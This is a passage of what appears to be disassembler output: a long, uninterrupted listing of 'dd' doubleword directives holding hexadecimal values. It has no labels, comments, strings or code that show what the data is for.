0C0B07F8Ah dd 30A6EEECh, 0EB963942h, 2906C233h, 836FF0Dh, 0DDC7AFD0h dd 4CC9310Ah, 0DEE4F886h, 95066A19h, 54FFCE6h, 0B5E5AA27h dd 6AE81202h, 6833FCD7h, 16745821h, 8491669Fh, 95C97121h dd 23849AEEh, 5CA28D71h, 15A0015Dh, 35265C68h, 163101C5h dd 38131029h, 0E9A11890h, 0D6380930h, 4AD6F2A9h, 3EE65912h dd 0E8270420h, 0F49CB9EEh, 0D3C41944h, 0B78C1113h, 0E2108A37h dd 0B088AEEEh, 0E4CFB401h, 23E3AF03h, 21FC5884h, 14C2C691h dd 59178065h, 0FDF91861h, 75C6CA79h, 5C7E281Bh, 4A986888h dd 0B16EBC96h, 613E3046h, 11FC582Eh, 0CF6AF25Ch, 0CAA94AC1h dd 0D193E95Eh, 1FE80B70h, 455636C6h, 1AF36B86h, 8BC5F585h dd 0D6152541h, 3831C9A6h, 0EB1950DCh, 0D4686824h, 0C55117F5h dd 11100A0Dh, 0AB4A6076h, 46582639h, 0AA4ED2B6h, 0B41026CBh dd 8CA4A396h, 0BFEFEB47h, 7D51A290h, 374EB914h, 0A448D3B7h dd 0F7E93650h, 931677CEh, 14752A11h, 894A8948h, 35883B22h dd 0C6ED55E9h, 0D0E63E24h, 23A6370Fh, 61E2D54Eh, 0BE948493h dd 0AD165C32h, 0A9E2B3Ch, 1C3EE9E8h, 455D29AFh, 6A213C3Fh dd 0C28E438Ch, 7D387523h, 7C3051B8h, 100B0B56h, 42B67E39h dd 0C8421352h, 4FEB6228h, 4B8A8D8Eh, 3F3E71C1h, 2FD10AA7h dd 0B2520327h, 5ED4F749h, 82047A72h, 7D15EBFAh, 46E519Eh dd 0C89A9C8Fh, 912DBD0Ch, 4342F861h, 0C73B3B01h, 2E012AC4h dd 0EC26048Ah, 19141BAh, 167E5AC1h, 7C610A0Ah, 7AC10B34h dd 0F01C297Fh, 0F2552052h, 51824536h, 0D3AC0A15h, 0A2FCFE43h dd 0B68C7B87h, 93674DDDh, 0B527ABB4h, 0C42F367h, 3663C47Fh dd 0DD94AF0Fh, 7EE5EB2Dh, 562858C4h, 5E435756h, 453E2099h dd 88E8BEE6h, 0E41C7DE0h, 0A49566A5h, 0EFE02B7Eh, 5F2A7509h dd 158E2014h, 0E747814h, 4258B20Eh, 90231ACBh, 0BEC22CF2h dd 0E4F0E91Ch, 0CAECEC4Fh, 293CAE7h, 958D0FD8h, 78DF1FCCh dd 0C4F989E2h, 0E96EDDC2h, 891159A1h, 2C7F390Dh, 0FDE81E54h dd 43353339h, 39DB0C23h, 7F28660Dh, 0DC53A533h, 0D68B76E2h dd 4480C20Fh, 3049E405h, 390C5818h, 97570C6h, 3FE2B51Bh dd 2BD53D07h, 2B400C52h, 0DAA5E9D8h, 10166370h, 75BABEE8h dd 0F018622Fh, 0E9E2AFF6h, 699FF658h, 0B8613075h, 0B5645D24h dd 5FC1E410h, 1C453B05h, 507AC1EAh, 2EA64943h, 0E34124A3h dd 3C120577h, 5828AAC1h, 2B2E867Dh, 14C69AC1h, 557D6356h dd 385A7A6Ah, 228101C3h, 0EBBD2A32h, 1FBE12Ah, 12C242Fh dd 18052B49h, 0ABCC3A9Fh, 12C5A940h, 449D5558h, 0B929E9B0h dd 0C44271Eh, 90AA613Ch, 358891DDh, 0FDEC6088h, 0FE100EB1h dd 3EAB340Ch, 32F7BBE2h, 680F23A0h, 0E8770904h, 0E5E42C26h dd 14536651h, 5EC1BBCEh, 25A12D2Eh, 1123210Ch, 76438A03h dd 879EF858h, 0A5BC3D12h, 9758B24Ah, 0FD7186C2h, 0B1E48C11h dd 1B7E3A0Fh, 2568184Ch, 20969EDCh, 852A2621h, 281DF1E9h dd 9587D052h, 82B7E20h, 0A352384h, 62BDCC8Fh, 3596BCE9h dd 0EC4E0EFFh, 0C9085878h, 22011320h, 6829081Ah, 45221280h dd 2484FAFAh, 0E802CEC3h, 0BF9E430Fh, 3CBB424Ah, 7E0C0306h dd 0ABC0684Ch, 0FF14AA8Bh, 5165C4C1h, 39C21428h, 192E8AB5h dd 1BA48042h, 0B6486285h, 62599CA5h, 5594490Dh, 99032E84h dd 0F759046Ah, 818DE2F9h, 81C82B0Ch, 769790EAh, 0F3E91205h dd 6099AF1Ch, 5EF83A18h, 0EA8CD42h, 43141C14h, 0AA3A5F25h dd 0EAE41A33h, 21274334h, 99EA3ED5h, 68161125h, 0C468239Ch dd 896128BEh, 90240E1Ch, 0C2E2D133h, 0DD0521Eh, 333F134Eh dd 85B33DB8h, 911275BDh, 0C33FC8B6h, 35855982h, 5C1638A8h dd 10EDBE53h, 0BB9DF8E4h, 463E9F43h, 97A006C8h, 8EF76022h dd 3CA92B3Ch, 0F8E008DBh, 22210648h, 4306E885h, 0ED1C1A3Eh dd 8B432241h, 15048655h, 70685861h, 0C311FB4Fh, 1B8E8427h dd 9876038h, 5DBC1974h, 11B89825h, 2E4B60D5h, 96E95021h dd 0B6EC3180h, 4B39E951h, 50482427h, 212BC4D1h, 12F608A2h dd 75D257C7h, 0C4066BEh, 0A414BE59h, 28BD349Bh, 0AA12AA33h dd 0FC10BBA9h, 0F748849Dh, 34D0BC36h, 57CA165Eh, 80A76589h dd 1B68FD59h, 0D0FFD669h, 31AC2774h, 0FF4A4B42h, 0D0745632h dd 0AD12D370h, 95E9C3C5h, 3D61851Ah, 584924E8h, 0D5B1DCB7h dd 120D2465h, 5C44319Eh, 32992FF6h, 44181F0Dh, 846AAE0Ch dd 56E12936h, 0D2BF96Ah, 84BA2708h, 6A0A1E87h, 0DC10EC07h dd 77F5E8C4h, 0DE8A309Fh, 0A580042Ah, 242C9825h, 57187DC9h dd 0C804CC6h, 7AB8948h, 10FBE27Dh, 0D4948C0Fh, 0E0105939h dd 94DCC8F5h, 3EDF2D0Eh, 9EF7743h, 7C2083F6h, 292C414Ch dd 8D3FA47Ah, 0B60F12A0h, 900D8C1Ah, 0BD42F5CFh, 491F1928h dd 3418A804h, 84882206h, 0A198D43h, 0A0C9589h, 0CD8F9EEBh dd 8A0E034Eh, 3BBC9042h, 0C059888h, 0AA52E95Dh, 21CE14E4h dd 458855C2h, 85C684F7h, 8A2D453Fh, 0AD88074Fh, 1BF20D39h dd 0BB331821h, 902D2243h, 4C82D00Ah, 91288954h, 0BB1F8B40h dd 31B29551h, 0C2E3111h dd 16118707h, 0EF623488h, 1B4616BAh, 0D7903A21h, 403120E2h dd 0D28CBF0Ch, 0E479E8DFh, 5991DB98h, 909F3224h, 9DCCE118h dd 0C651130Eh, 9AF47C4h, 0C455E7B3h, 0F835844Eh, 0EB59806Ch dd 0F52F3164h, 7242FC68h, 140F1A2Bh, 0D46265Fh, 141CE028h dd 6617F6E9h, 991EBCA2h, 9D73626Ah, 3CCF2784h, 6A2687B0h dd 2620EB1Ch, 105C086Ah, 0CFA4C88Ch, 910E84CAh, 0A8104EC8h dd 0A852895h, 400D8B0Dh, 1A852CDAh, 52C12B09h, 48BCFC3Eh dd 25A1DD2Dh, 1C20D1F2h, 9D78239Ch, 68440C20h, 230AAB8Bh dd 18C4D856h, 0CE84848h, 7A2B1015h, 2ED44586h, 5801C5DCh dd 0D4CF0754h, 44A176B1h, 9BECC1A1h, 828D2554h, 58A8150h dd 0D47DA20h, 0A131A108h, 230D42F5h, 474827FCh, 21536CC2h dd 2316CBE9h, 70088804h, 0C3B93274h, 21061495h, 8B0C9310h dd 0ABBFC438h, 84E91820h, 0FC8847A5h, 84F5729Ch, 0C4B820FFh dd 0B0F1CCDh, 0B520138Bh, 964D0F62h, 85F04337h, 15621575h dd 74271CE4h, 0E86E1811h, 0B9245253h, 0D4E21221h, 0F0DF739Ch dd 218C7F33h, 0C8C515DDh, 15CE3569h, 0C472AB88h, 87B83CA8h dd 176E2692h, 82B16C10h, 966DE910h, 70A8573Bh, 26B28AE1h dd 35382915h, 373C9864h, 50C94D9Ch, 9E1571C7h, 0E4D5E97Ch dd 5BF33DE0h, 2120CC5h, 0AE14384h, 4C14ECE9h, 4C228851h dd 4F5D06F7h, 26C6E929h, 1C3C7C64h, 0E2296A4Fh, 4935A318h dd 958A1363h, 1B705931h, 31CF0123h, 0E47B64C8h, 0C592323Dh dd 8922E722h, 5C431E3Dh, 73F41EC9h, 9C4CA54Eh, 3F1152CEh dd 330A8A20h, 2B0F4059h, 0B8C28919h, 867D98Ah, 347113DCh dd 2AC87133h, 86332851h, 991E1CA2h, 11787E19h, 0E98A6DB1h dd 0C59716Bh, 0B584F94Eh, 44CEC88Bh, 0F88827A5h, 274E719Bh dd 2F4979F4h, 0B148C7B1h, 3A66D509h, 7E131125h, 0E5F7CA64h dd 0E805D010h, 7091C440h, 5F11EB89h, 142E0F1Ah, 62FBB5AAh dd 2B1C12E1h, 56D19BE8h, 148F9023h, 0E0B2479Ah, 840F271Ch dd 0A2A400DEh, 85127370h, 0B496E805h, 0E0D18046h, 9935186h dd 5C98CC60h, 690F7A5h, 874A2940h, 84936D10h, 131B1025h dd 0CC7D68C9h, 0EF14834Dh, 0CF9B94h, 6F1A1E29h, 273B3ECAh dd 0A022806Ch, 8FE295E5h, 3DBBF613h, 0F1893327h, 0A58302E6h dd 0A5DCE59Ch, 0A0613ECFh, 0BD812807h, 4E8B706h, 40A61D7Dh dd 8CA59C22h, 33E72A47h, 0CAEB2C67h, 0FCB31364h, 504A44A0h dd 89B06829h, 181DB6E2h, 114881E9h, 1CA4E219h, 157D7424h dd 85115E70h, 0B3B38188h, 8CBC807Ah, 0ED869413h, 4FD0371Ch dd 6917ED8h, 0AEF8DDC4h, 138D549Fh, 0C19E15Fh, 8853681Dh dd 0C830C886h, 2FCA4F1Ah, 0EFE90557h, 78923810h, 0A73B9287h dd 57B37FCAh, 0B7486414h, 0EB311C14h, 0A4612A12h, 0CE11EF18h dd 0A59F0CB2h, 0C943BB50h, 0BDC5311h, 0C411DF14h, 21264B79h dd 156FEB4Ch, 65872508h, 3C2E2C4Bh, 0C6254A5h, 0F2511E0h dd 20C43023h, 0AE430E3Ch, 0E20FF710h, 0A82B720h, 65D675C5h dd 142E2CC9h, 2A2C9687h, 57258E12h, 0E914ABA2h, 8B24188h dd 748A941Eh, 14EB5723h, 0FCB13553h, 212C0E9Ah, 9AE8C2B9h dd 4F1CA82Eh, 36EE8082h, 0E9C28DD4h, 4336961Dh, 146FC9DCh dd 253D90D2h, 6CCE0EFAh, 25FCE697h, 19E6B112h, 0FD0841CBh dd 0BFCD8213h, 14850B91h, 114E573Ch, 0B5700869h, 0A829B64h dd 44EDEF84h, 5124B0DFh, 527A440Ch, 5A268ED0h, 99E9C11Ah dd 23392E0Eh, 4D21840Fh, 686476C4h, 0F18E1072h, 1D0A410Bh dd 0F86211ABh, 8737181Bh, 25F2B890h, 0E614531Ch, 113BB08Ah dd 0FDCC54BDh, 0A48A0D43h, 0E42593Ah, 0A00DDA10h, 0B1B059E8h dd 5890917Dh, 6F064107h, 467E034Ch, 9E0D8AB7h, 53F73F22h dd 57A6E914h, 471E9CB2h, 958792Fh, 4208C8E4h, 0B83A0D7Ah dd 5302E8F9h, 62219B19h, 447B90E5h, 33503621h, 1E438618h dd 1F7988C8h, 0FB846373h, 44A92C0Ch, 0EA27E91Ah, 85DC1C0Ch dd 28759234h, 0EE9D3E13h, 3983B435h, 9A4678C4h, 8A740C40h dd 0F0A0A88h, 0E3726068h, 0EC188800h, 61D468B9h, 0B2E0A151h dd 96CA662Fh, 2E540551h, 252AECE6h, 60E92960h, 3D50E48Ah dd 2AA10B2Ch, 0A53908A1h, 3E449227h, 0E51629FEh, 123C6863h dd 61BFE845h, 0E0BFF63h, 65C93021h, 9A2488DDh, 92648574h dd 27C8BB10h, 0E950A06Fh, 904FA5B0h, 5274E110h, 12DAE62Fh dd 2BFFA48Ch, 61EE4A21h, 0EA48C86h, 5C34BA90h, 71E2AEA9h dd 90194679h, 7904C867h, 10F04E3Bh, 0A79F0B26h, 0C2773D4Ah dd 120A146Eh, 3899D468h, 17422E95h, 0F9E91005h, 21A08F0Ah dd 0E80AC099h, 28D3B315h, 0B21F0010h, 10A71CBCh, 4D99B009h dd 5EFA4260h, 434B9719h, 502EA82Bh, 9691100Eh, 0B22E6994h dd 1071979Ch, 682AF18Ch, 0E81D15CFh, 5925CCEEh, 0E8847A15h dd 79D81471h, 9054A515h, 840FE06Ch, 0A59A92C3h, 130A1838h dd 758240C7h, 882FE9DAh, 52EE7CA4h, 96F74A0Bh, 1722111h dd 47A48808h, 0DF4E6884h, 4B96C822h, 0D015DEAFh, 2386A080h dd 0F9BCA484h, 596B28Dh, 0F7452B1Ah, 9D4B19A4h, 0A7227BA9h dd 250D930Eh, 73208C8h, 11680805h, 559F58BBh, 442411B5h dd 155D78D1h, 0A5A3708Ch, 75178457h, 8E733B48h, 11910AF7h dd 64572029h, 4FEB6106h, 23DC484Bh, 0EE9047B8h, 0A24404A3h dd 9852EC1Ah, 14B58451h, 0B4FF5927h, 0FD2E8282h, 53B0FDE2h dd 51D9A8E9h, 0DFEE8872h, 1AEBFCB8h, 47E8F794h, 0DC276E59h dd 0E7083910h, 50FC98F4h, 0C4DC4BA9h, 313FA07Ch, 46A6591h dd 78C4C323h, 0A07C319Ch, 6CCCE71Dh, 0A6575075h, 94A0427Ch dd 46FCEC20h, 0AF1789Bh, 70A25445h, 0D0A85311h, 98139EC4h dd 0C2B769BFh, 85573620h, 137342FBh, 87073E30h, 8DA19811h dd 284F0B01h, 0A94F3F1Ah, 0AF83591h, 4B065674h, 29D42807h dd 742AA943h, 68FA8095h, 28984A90h, 0AB70BA9Ch, 0C22DDC97h dd 4FE50120h, 298D283Bh, 8448A01h, 688588F7h, 641615A3h dd 866908F8h, 0D6AA580h, 0F910338Fh, 0FA716B21h, 6D196C02h dd 10FCC80Bh, 81FDB86Eh, 85700C6Fh, 7108FEE4h, 7202EB5Ch dd 8D087319h, 478523AAh, 7BB2E19Ah, 645909C4h, 6B1C8C1Ch dd 217E4786h, 0D5709068h, 7860C88Ah, 4C8411E9h, 44B2A11Ch dd 11CD231Eh, 71059808h, 1D101A38h, 0CCE80B01h, 6471E8A7h dd 5C76849Ch, 60A5048Ah, 0F1E2EE24h, 2A7F4C2Ah, 2A4AA7AEh dd 6410C766h, 48976A02h, 6CF66B2Bh, 8B830F41h, 8557F36Eh dd 0CEBA400Bh, 0B866325Fh, 0C2DC464Eh, 7CE5E89Ch, 51284675h dd 0AC651150h, 0CAF6F26Fh, 10141248h, 62FCD26Fh, 3CDBBD7Fh dd 23014FB3h, 0C46602Eh, 450C8C65h, 20DB0430h, 2BC083B7h dd 0E9098954h, 81335F62h, 68CB9ABDh, 0A40E7644h, 0F83ACB20h dd 50C40A3Bh, 0A8B2A1Ah, 0AE8C10Bh, 986F8450h, 10499738h dd 4628436h, 25871838h, 0C210716h, 6825C398h, 0A40EDC82h dd 26BA03B7h, 4F8588D3h, 14C24810h, 271E13E9h, 954597DCh dd 0CC7DC2D3h, 3D82791h, 97143A67h, 4FC8BC8Ah, 179D2E97h dd 89D2C254h, 433C969Ch, 1DB4A2C0h, 44C89E08h, 87A43C60h dd 94D7409h, 21960D93h, 93807D20h, 7A4411D0h, 6806B550h dd 448E5C5Ah, 0DC0F4D10h, 4E1ABDD4h, 0A30F174Dh, 28E82808h dd 216286ADh, 90C502FEh, 0AD10893Ah, 27D78ACBh, 160E8859h dd 28CA1975h, 78D69726h dd 7CB9022Dh, 1F7114C4h, 0A90414A5h, 0FD169BF4h, 0DF178C7h dd 522A0706h, 6149038h, 20220BCCh, 0FD0C2EDAh, 2852DD34h dd 68FAA515h, 20AD3CDDh, 71DDF4EBh, 0A29542Ch, 92753B4Fh dd 0FD120473h, 0FEE80201h, 407C84CBh, 34F16837h, 7C90154Ah dd 20B724F2h, 30647CA1h, 8A768954h, 0F00510FDh, 7C3E879Bh dd 243EC88Ch, 7C0FEC51h, 0A2349085h, 0BF91EE8h, 0E4442C21h dd 4216F23Dh, 7BE0883Ch, 85282CE4h, 0C8F7DC10h, 0A53508E9h dd 42300C4Ch, 0CEC2A9Ch, 0E8212443h, 0E4C83490h, 0E0322C64h dd 0DC0C3C19h, 68618086h, 0E29AB108h, 38100CAEh, 467C4CEBh dd 747008A7h, 73E6BE67h, 0EB0230CCh, 12B0B853h, 0CA96FC68h dd 0A6AF11A1h, 991275C5h, 93BC2BBEh, 8A25287h, 2928F045h dd 24428B7Ah, 0F018C428h, 5F622A48h, 2147755Eh, 9263FC25h dd 1229FB13h, 0EF4AF5BDh, 0E2EB9406h, 95ECB513h, 25053420h dd 98FB2768h, 42FACC88h, 0F916A1F9h, 0FDF818EEh, 52486888h dd 0D02AEC9Fh, 0B7BF2724h, 0F7A5DA51h, 0AEF029h, 47451D1h dd 7FD9210Dh, 6318548Bh, 20797482h, 2F40528Ch, 0FBE14E7Fh dd 7F984426h, 28688871h, 8FBEB0D3h, 0D4E8149Dh, 0F14CA81h dd 0BE1C2FC2h, 52FAB885h, 7A90803Fh, 84068B2Ah, 2D73B55Dh dd 0E804CA21h, 9BEFCD41h, 4CB773DCh, 0B2744B36h, 0F7288B3Ah dd 464C290h, 681CB08Ah, 0F39F4EB0h, 0A14A129Eh, 40CA8EBBh dd 0FA863E26h, 0AE53D62Bh, 6976CC22h, 0A154145Ch, 0DEB0C05h dd 0A9891A32h, 954C7013h, 7043AECEh, 0AFAFAA14h, 1B34BED2h dd 0B16D1321h, 20A22F0Dh, 469FAC10h, 0B6651318h, 0BAA464B8h dd 0B6FD1D12h, 0AF089492h, 0B4513814h, 326ECABBh, 13186EEAh dd 10600E23h, 9C688538h, 0E8FCC630h, 4AA0487Eh, 4C036AD9h dd 8FD07BE9h, 5DE8C223h, 68C2E6A0h, 68441B5Ch, 0E8A012F4h dd 0CC0EA56Ah, 0F3ED15Ch, 4BEAE2CAh, 38478FF8h, 60A3FD13h dd 0ED840F7Dh, 948AA39Ch, 0E2511B9Fh, 197B751Ch, 77C7072Eh dd 0E94D02DAh, 883084BDh, 0A85B23Ch, 0A122C70Fh, 97E90AE6h dd 0F2801026h, 0D58148Ch, 83104A9Ch, 73EB814Dh, 244B7468h dd 7008877Dh, 684F58BCh, 44210FE3h, 16763EC2h, 60682B10h dd 211C20F2h, 3B6A778Ah, 0A024042h, 0AC581015h, 0A2E28618h dd 441BE885h, 154475CDh, 586CC5F2h, 1030A18Fh, 1548A59Dh dd 26845E58h, 0A9907742h, 89C18610h, 84153458h, 84534324h dd 542DBB5Bh, 2F242C15h, 21291D87h, 24A1156Ah, 0CD390B64h dd 15520B76h, 42082B24h, 60119F5Ch, 0A146E00Ch, 0BC157517h dd 2C3BCA30h, 73AB7493h, 2CF56846h, 6F87B42Ch, 44D388D0h dd 87883C54h, 0DDEB7764h, 2C8C44A4h, 11855C2Ch, 473A112h dd 427EEB01h, 299499FCh, 72B23343h, 52685510h, 0AC8524Ch dd 2C764276h, 0C85AC02Ch, 8CB2AA95h, 79F4452Dh, 16FC17EBh dd 4CE05633h, 69864033h, 594E90BAh, 0B45E43B6h, 0D29D6C98h dd 956E9F6Ch, 5A4AD098h, 73E88420h, 0D46DB79Ch, 63F84412h dd 4E4DE893h, 632FAEF7h, 797D6DE2h, 184421Dh, 0B7906010h dd 0F809F166h, 0F49FB468h, 0C93CE267h, 11C68422h, 2FA10C14h dd 70FCE974h, 28832EEh, 0D89D464h, 0F3E6E820h, 2B39B4Fh dd 11410C20h, 0E92A22DBh, 0C15BDE43h, 149FD045h, 28CB134Ah dd 6C371064h, 2BCAE678h, 8CE28B6h, 4313A2DEh, 82E91CA3h dd 7CAE5A38h, 0C00F6B91h, 89B8830Ch, 9B9A75DAh, 6F613461h dd 53ADDB16h, 5589FC0Ah, 3DE2B9E2h, 3112B0FFh, 180D5B98h dd 44864418h, 0B28743E9h, 1819489Ch, 12FE2759h, 0D1C8719h dd 45834B08h, 783E0835h, 22270BAAh, 6ED4BB6Dh, 81025058h dd 18A26E57h, 89077C8Ah, 55D68045h, 71349612h, 335510AAh dd 8B2F54Ah, 47AE7F3Ch, 0A06514EAh, 50FB3F21h, 15C8586Fh dd 44B654Ah, 0EB528F0Dh, 5F919CCAh, 9A7BE809h, 4D133B19h dd 0CAEC2C10h, 67B11566h, 0AD1DF018h, 59005612h, 0FC335C48h dd 42F79686h, 3E129A33h, 0A80787BCh, 27A3849Dh, 0DCFE059Ch dd 99440CC5h, 0AE60227h, 8C6C2128h, 6816289Fh, 94469D09h dd 0B8056F21h, 6AD64F69h, 78D9B62Ch, 42BD8311h, 405F0406h dd 0D6996212h, 92F72210h, 912078DAh, 0B4E8C498h, 0A4095FFDh dd 0D610FFB1h, 68341375h, 1661A3FCh, 58479986h, 0A4A0D374h dd 4D13953Dh, 10C78425h, 95FDB0B0h, 88C74C1Bh, 6CA8D753h dd 0C18BD836h, 2643B69Ah, 0AFED5A74h, 1AF86823h, 20BD81ABh dd 0A0F6C557h, 0DEF44216h, 0F0E20190h, 0D4A58321h, 45225A46h dd 83F32FE0h, 42BCE3DFh, 0A51583CAh, 336FBAFCh, 0D46662AAh dd 6A2BB0DDh, 2F41E45Ah, 8D647CE8h, 700C5054h, 5F56D18Ch dd 0C0940F07h, 2FE0B348h, 872D64F7h, 0AB50A557h, 0C64B4A2h dd 5D6A46D8h, 0FE782210h, 0D145B6Ah, 556816ECh, 68239AD8h dd 3898921Ch, 828B3440h, 684318DBh, 6E55E6E1h, 98512FBDh dd 0C800646h, 7D8B3306h, 1C688C4Fh, 0C42D272Ch, 982A21B5h dd 32DF866Fh, 0BDE09F19h, 61A6DA70h, 111D0D55h, 1432C30Bh dd 4A30A44h, 7AF56175h, 23245903h, 0D9E80B0Ah, 95516497h dd 7A72F5F4h, 0FBB72E1Ah, 0C935C585h, 2A07F954h, 0D2E8B353h dd 4DEA6010h, 3263846Eh, 2FF7582Ch, 18DFCA2h, 85DB3225h dd 42027D30h, 0B874A310h, 0AE31E112h, 0BD65034h, 1C3D5183h dd 0D20DAAC3h, 68E87F32h, 16CFC9FCh, 7F5CB330h, 58813657h dd 6DCD4E39h, 0CBC1A47Ah, 0BECA470h, 88A11594h, 7D10891Ah dd 0B8924C65h, 934591EAh, 79CC7E97h, 2AA0411Ch, 0E8C68DA8h dd 0AFB9291Dh, 10F4D03Fh, 0BF9B5395h, 6166B8B8h, 5031282Bh dd 584318Bh, 99E12B49h, 0D1B91008h, 82146805h, 59EC4328h dd 0E907D96h, 0F14EAE88h, 19C920D5h, 8B687974h, 2872AC7Bh dd 920CFC19h, 3B459646h, 52908E0Bh, 481E8B8Ah, 0A342194h dd 549498F0h, 58571884h, 2B0E4294h, 43BF941Ah, 0A87E50DFh dd 0FA4DD374h, 50DDACFh, 94136AE9h, 7717F8B8h, 1B21B834h dd 872009C2h, 50C4C00Ch, 0D710469Bh, 76EBA195h, 87022C5Ch dd 0ABF25810h, 0C84A421Ch, 0F487103h, 1EC57F21h, 1E282062h dd 4AD15F42h, 30909F22h, 9F822B53h, 0B5620C14h, 963C8682h dd 5936443Bh, 0ACF522E3h, 0D097428Fh, 8738FC57h, 4994DF88h dd 0CC232036h, 0E88E4794h, 7CF9215Ch, 1D2704E4h, 0C9C024Dh dd 0E0299014h, 210BE110h, 70F5A9FBh, 1F8D9463h, 9071A125h dd 512D694Bh, 0BA8A27FAh, 71E84060h, 7A717C95h, 0BC114C7Dh dd 20851C72h, 45D1E82Ch, 0E78F16A7h, 8F323454h, 6C56D66Ah dd 0C05E153Ch, 2D010E9h, 121F681Ch, 0F932AA0Fh, 0F417ABBCh dd 0E8C26E3Ch, 0C6DF93B3h, 5D06B2FEh, 0BA4C74C8h, 8DF3ECC9h dd 12C9680Ah, 125D6573h, 568AEEB8h, 0E89571DCh, 0DB47464Eh dd 58E6D1B7h, 64437DF8h, 157523C0h, 30E4396Ah, 2BD3E817h dd 3F7368BAh, 2BE23A5h, 42E83175h, 0BDEB662Ch, 0A7954179h dd 5113A22Ch, 159215DEh, 2E7B8DA2h, 127F52Ch, 0A174682Eh dd 1491462Eh, 0EA2DD0FFh, 1720B196h, 35FC1044h, 0E8376C31h dd 0F1C86A2Bh, 0C16E5FE9h, 4D6468B3h, 0E8388A2Ch, 64CA2DBDh dd 211B5314h, 38A2C45Ch, 54438438h, 0FE78788h, 8EEC3634h dd 0A5251488h, 0D2729C8h, 0C9FE4034h, 3CD707A3h, 68881640h dd 103AAC4Ch, 0B14DE80Ch, 101C0150h, 95A173B7h, 10822744h dd 4B1626E8h, 95269929h dd 97311F48h, 1B2A28ACh, 12184009h, 0F21C7086h, 204C8609h dd 0C8A852Dh, 19398777h, 2791225Dh, 20B69877h, 919722E8h dd 7CAB5AB5h, 0BC449749h, 21437ABDh, 7709FDCCh, 32DA6591h dd 6419ED26h, 0A57E830Ch, 9A6A2A95h, 0DCF133B3h, 772B7B22h dd 0FA6BF111h, 5EA28C71h, 95E81810h, 3117AB93h, 0E1DDA3B8h dd 0C078B15h, 2208E8C1h, 460DAEC0h, 47188810h, 88AF568h dd 1065B878h, 0B3185F4Ah, 1C9406C8h, 730DD11Bh, 7A89B6A7h dd 62F3DC4Ah, 0A0B0B94h, 0E3706A01h, 4A9E8C94h, 0A1162C14h dd 75189337h, 71223E5Ah, 0D1D9D41Eh, 0B551B008h, 0BCF954E8h dd 15EB40ACh, 63B1F868h, 1769E81Dh, 0ADE3D10h, 86A2AE9h dd 7959A0E0h, 0D860650Ah, 8FE1674h, 114971C0h, 12351886h dd 434150C9h, 8633F8FAh, 0D40A4478h, 37CAA042h, 11EF6A42h dd 58277FB6h, 9A26EDB7h, 89FDF1FDh, 23E4E67Dh, 47108F7Eh dd 218EAD84h, 0C008FC70h, 1690A747h, 0A28FA285h, 0B2EF10E4h dd 21E4E3E3h, 0E319F81Ch, 0D4EB29C4h, 11FC9471h, 9D7FACB6h dd 0D6A36FDEh, 5E4344Fh, 0A303E810h, 0F41640CEh, 121BD85h dd 7AE4E6C9h, 9C778690h, 0E3A09F8Dh, 0E7219C1Eh, 0A4E7D8A0h dd 9890E798h, 87279878h, 88238C1Fh, 215EFC90h, 941DFC98h dd 0FD3408A3h, 87FC7050h, 7F1077ADh, 8E5AABE8h, 2DEBE721h dd 16429968h, 0C0B47188h, 29240E61h, 10D6114h, 29BCDBFBh dd 0D5C4A53Ch, 18D08CF9h, 8ECC0944h, 92F682B0h, 61135A8Eh dd 0CF64924h, 8F037E9h, 0F81C8951h, 2D293F56h, 31E4095Ch dd 13582C65h, 0A4D1B149h, 374096A4h, 3A6398CCh, 0E27BD75h dd 99C4DF29h, 0F0CEB29h, 0F1200E21h, 0B4680680h, 3BE8C3C5h dd 847E9A62h, 0CD38B072h, 0A26A914Ch, 555D44BFh, 43B1721h dd 23FB4C19h, 64AACD93h, 8C0F5632h, 26FD6178h, 28134210h dd 0DF215CA4h, 91DB25F8h, 0DDF8C9E2h, 51706FB1h, 47F1144Ch dd 0AE66D406h, 5674F28Ch, 8E13183Bh, 0C4A73463h, 9853622Dh dd 0EB0C8C11h, 4B261353h, 0E612E8F3h, 4262A78Ch, 6162C82Ah dd 3A07A5E9h, 0E1D9DA50h, 751890F4h, 0C75F104Bh, 26F1B4CAh dd 90887F90h, 3E1DCE71h, 35D72DB8h, 5720C2B9h, 8E8C2885h dd 7ADA2AD3h, 0FAB904BDh, 66A1012h, 84312640h, 73D101E0h dd 0A7402B19h, 0F99B5B8Ah, 8DA94CE5h, 0E8381C46h, 0C959672Fh dd 47F5794Ch, 42274306h, 0A20233Bh, 141ED7E9h, 26E2A884h dd 9B3A7538h, 0B385B206h, 3F274512h, 142621D6h, 0E7AEEA10h dd 0E942F8B3h, 802C8587h, 52405028h, 0F896F88Eh, 6818C927h dd 0B90E7477h, 0E9DABC9Bh, 51C49999h, 6E132914h, 868816C8h dd 0C4431383h, 0DCDB4408h, 881F0949h, 0B528B944h, 3A248C06h dd 1BD338E8h, 0C20F1EF1h, 14907D28h, 0CAB82022h, 8DF81E84h dd 0A182AA3h, 0F04E0108h, 0EB29848Ah, 80C21A11h, 0AE150E64h dd 0B28462A7h, 3CAC90FFh, 0FB0582F8h, 67EA517Ch, 0B6B6B2CFh dd 39D67E8Dh, 0D138860Eh, 0ECF7C451h, 7EEB0220h, 76500FBDh dd 40CF0DE6h, 0C6FBDD30h, 7260841h, 100CCF5Ah, 0C884F844h dd 0F22748Ah, 0A3995C23h, 0ECA54985h, 0A7F6433h, 0A1068B79h dd 3DDC255Ch, 4EDA44Eh, 258BECB9h, 1C4DE014h, 1352DE87h dd 4727DE2Ch, 0BD94508Eh, 5477044Fh, 89B5C029h, 4F2DEF41h dd 53BC1A9Bh, 0F211958Fh, 3875848Dh, 0AA4B84F7h, 1C15DC4Dh dd 81F58D15h, 889FF82Fh, 2C53A603h, 180A5237h, 0A27C1D24h dd 6856EB09h, 56329C74h, 3B214EA4h, 9016465Ch, 48018818h dd 0A22020BEh, 429297Ch, 6A34FE4Ch, 348640CBh, 0CFCED4B5h dd 0A2E19D31h, 0EE5ED606h, 40098023h, 2B0F0F98h, 24184D75h dd 81043C43h, 0F288C4E8h, 302C2975h, 0A40977CBh, 8D2C3B04h dd 0A0C42AEAh, 9517BB22h, 37C6181Ch, 6957EB01h, 774D4019h dd 0B230428Ch, 4AFB3430h, 0A45D921Ch, 23988560h, 920B4A17h dd 0E1055525h, 2710B589h, 8C4943E8h, 1609C961h, 4F619E53h dd 0C7084A9h, 0EA9885Bh, 30F7E5DCh, 8474A5FBh, 608125D2h dd 891387D4h, 486380DAh, 7A730399h, 231EE024h, 0F2BA22F5h dd 53202894h, 43C548F8h, 1B385FEBh, 4B5384FDh, 5FE8812h dd 6C39752Dh, 7F247A3Fh, 7411C427h, 13F51CD0h, 